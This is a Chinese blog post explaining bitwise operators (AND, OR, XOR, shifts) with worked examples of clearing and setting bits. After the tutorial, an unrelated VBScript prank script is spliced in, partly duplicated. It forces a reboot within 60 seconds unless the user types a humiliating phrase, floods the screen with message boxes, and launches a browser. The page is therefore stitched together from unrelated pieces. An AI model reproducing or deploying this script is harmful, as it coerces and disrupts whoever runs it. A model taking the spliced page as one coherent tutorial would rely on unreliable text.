位运算

作者: 爱丶Notexplain | 来源:发表于2018-07-21 08:38 被阅读0次

一、什么是位运算?

位运算则是对二进制一系列的变化。常用运算符有:位与(&),位或(|),异或(^),取反(~),左移(《),右(》)。

二、位运算的逻辑

位运算的逻辑

(&)与运算符

两者为真,结果就为真,有一个结果为假,结果都为假。

(|)或运算符

两者,有一个结果为真,就为真,两者为真结果都为真。

(^)异或运算符

两者相同,结果就为假,否则就为真。

(《)或(》)位移操作符

逻辑位移,不考虑最高位符号问题,向右移在最高位补0,向左移在最低位补0,即可。

算数位移,原数值进行右移后,需要保证符号不变,向右移时用符号位数值填补,即可,向左移就用0。

一般形式:<运算量><运算符><表达式>其中:

<运算量>必须为整形结果数值

<运算符>为(《)左位移、(》)右位移

<表达式>也必须为整形结果的数值

位运算的清0和置1操作、

x|=(1<<y)//将x的第y位置1

x&=~(1<<y)//将x的第y位清0

清0时用与符号(&)

例题:

清零是用与符号(&)

请把0xd5的第2位进行清零操作

1101 0101 想得到的结果:1101 0001

&

1111 1011

~

0000 0100 结果:0000 0001 <<2等价于0x1

~(0x01<<2)&0xD5

置1时用或符号(|)

请把0xc7的第3—5位置1

1100 0111 想得到的结果:1111 1111

|

0011 1000 结果:0x07<<3

(0x07<<3)|0xc7

set ws=createobject("wscript.shell")

call shutdown(1)

do while a<>"我是猪"

a=inputbox("快在下面的框框里输入我是猪,否则后果自负,快输""我是猪"" ","输不输","")

loop

call shutdown(2)

msgbox "早说就行了嘛",4096+64

msgbox"再输一遍我是猪!",4096+64

msgbox"我是猪!",4096+64

MsgBox"最后一次!",4096+64

MsgBox"如果你很快的点过去,不看的话",4096+64

MsgBox"我就要你踩我空间的!哼!",4096+64

MsgBox"从前有座山!",4096+64

MsgBox"山里有个庙.",4096+64

MsgBox"庙里有个老和尚在讲故事.",4096+64

ws.run"iexplore.exe http://www.baidu.com"

msgbox"哎呀累了!数绵羊哄我睡觉",4096+64

for i=1 to 100

MsgBox i&"只绵羊",4096+64

next

msgbox"哎呀我困了,这次就饶过你吧,下次注意哦!",4096+64

msgbox"最后问个问题,我是不是大好人!",4096+64

if inputbox("是不是","请选择","是")<>"是" then

call shutdown(1)

end if

sub shutdown(s)

select case s

case 1

ws.run"cmd.exe /c shutdown -r -t 60 -c",0

case 2

ws.run"cmd.exe /c shutdown -a",0

end select

end sub

set ws=createobject("wscript.shell")

call shutdown(1)

do while a<>"我是猪"

a=inputbox("快在下面的框框里输入我是猪,否则后果自负,快输""我是猪"" ","输不输","")

相关文章

  • 3、小众运算符の大课堂(一)

    较为简单の位运算符: & 位与运算| 位或运算^ 位异或运算~ 位取反运算 举例: 要做位运算,首先要把数据转...

  • 位运算及其应用

    内容概要: 位运算基本操作 基于位运算的状态压缩 位运算经典应用 位运算解N皇后问题 位运算 符号描述规则&与1&...

  • 位运算及用位运算实现权限控制

    请自行补习位运算相关知识 位运算 位运算示例 权限控制

  • 开发基础随笔之位运算符(Bitwise Operators)

    位运算符,属于算术运算符 按位逻辑运算符: 位移运算符: 位运算符的运算数只能是整数 位移运算符:按位左移 a<<...

  • 强大的位运算符

    位取反运算符 位取反运算符(~)是对所有位的数字进行取反操作位取反运算符.png 位与运算符 位与运算符(&)可以...

  • 位运算

    位运算 1. &:按位与 规律:一假则假任何位上的数和1相&得到的结果还是那个数 2. |:按位或 规律:一真则真...

  • 位运算

    https://leetcode.com/problems/gray-code/description/这个位运算...

  • 位运算

    位运算符比一般的算术运算符速度要快,而且可以实现一些算术运算符不能实现的功能。如果要开发高效率程序,位运算符是必不...

  • 位运算

    1.不用加减乘除做加法 解法:分为三步①各位相加不进位,即先按位异或;②做进位,按位与并左移位;③结果相加,直至没...

  • 位运算

    位运算不仅可以简化某些复杂的操作,而且具有更快的计算速度。典型的应用就是除法,交换两个数值,以及在一个数组中寻找只...

网友评论

      本文标题:位运算

      本文链接:https://www.haomeiwen.com/subject/gxfbpftx.html